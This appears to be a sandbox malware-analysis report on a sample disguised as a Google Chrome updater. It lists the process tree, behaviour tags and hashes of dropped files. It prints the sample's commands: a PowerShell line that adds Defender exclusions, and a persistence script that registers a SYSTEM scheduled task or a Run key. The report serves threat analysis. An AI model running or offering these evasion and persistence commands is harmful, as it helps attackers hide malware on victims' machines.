C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3668
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3024
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3660
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4616
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:2984
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2108
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2744
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 1.6MB
- SHA256 92643230989de02c626ac7656de95d700d78aa98dd5b4de1d76078303be69b43
- MD5 32ae72bb8793f32f3182b9bdb777cea1
- SHA1 3f0284fd78e0a39f5bd8da5c6bed8a838933b119
- SHA512 d746b96423dbfc310abfb209797ec3164a18b8a59fbcd3e89ef1bee6d598cdbace1e133633300068975cc3722ad3491f21e47d7661c50475d9a5a3393985434f
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij6A:rxAEcp9ueXit9WAQ0YWV
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 1.0MB
- SHA256 18b80bae6760fb56341050e312c8b9ab5d5eefd8099a0e75ff3453ef45b6b275
- MD5 699dec477b3caa7848e9cd4b5137e346
- SHA1 cc2b41c0e9d995bbbbc3eb171d33f20d1e817730
- SHA512 d2be890e4ced89e5e277c614dbb4479b481b4b303f6369763116e0b41ef341d76d5c79d351bd96a2d1ee97cce211a8aff352c81b4cbfc25ce46a6bf4624ec931
- SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12uM:rWVipAxqo5p88CbXuxWQiSJU320ZW2p
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
- MD5 62623d22bd9e037191765d5083ce16a3
- SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
- SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd1165c9e6e54d3d949d994967f7ee1ae8d267215e5bbc473ecba680486e87e9
- MD5 0ba0b9c27982a907bf1ca557f9b3fece
- SHA1 35244873108af3fd4b7c76cf2a327960ad271c20
- SHA512 5c6b5d18d9db95245b86a8a0b384328c46c5020cc91f4b5428c413f0c78e1144650733c24f8e3d19d40cb93a7cc679d77e349d62a12f965634475725088d8f06
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oq2e3jys.bwe.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512